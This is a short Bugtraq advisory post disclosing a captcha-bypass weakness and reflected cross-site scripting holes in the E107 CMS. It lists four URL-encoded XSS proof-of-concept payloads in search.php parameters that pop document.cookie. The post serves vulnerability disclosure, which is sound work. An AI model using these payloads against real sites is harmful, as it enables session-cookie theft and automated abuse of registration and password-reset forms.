Hello Bugtraq! I want to warn you about Insufficient Anti-automation and Cross-Site Scripting vulnerabilities in E107. I found XSS holes in October 2006 and Insufficient Anti-automation in November 2007, and disclosed them at 30.01.2009. Insufficient Anti-Automation: Vulnerability is in captcha at send link to news page (http://site/email.php?news.1). And this captcha is also used at registration page and forget password page. http://websecurity.com.ua/uploads/2009/E107%20CAPTCHA%20bypass.html Captcha is vulnerable to half-automated bypass method (http://websecurity.com.ua/1595/), which I described in my project Month of Bugs in Captchas (http://websecurity.com.ua/category/mobic/). XSS: Vulnerabilities are in search.php in parameters in, ex, ep and be. http://site/search.php?in=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/search.php?ex=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/search.php?ep=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/search.php?be=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E For XSS are vulnerable old versions of E107 and for Insufficient Anti-automation are vulnerable all versions of E107. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/2841/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua
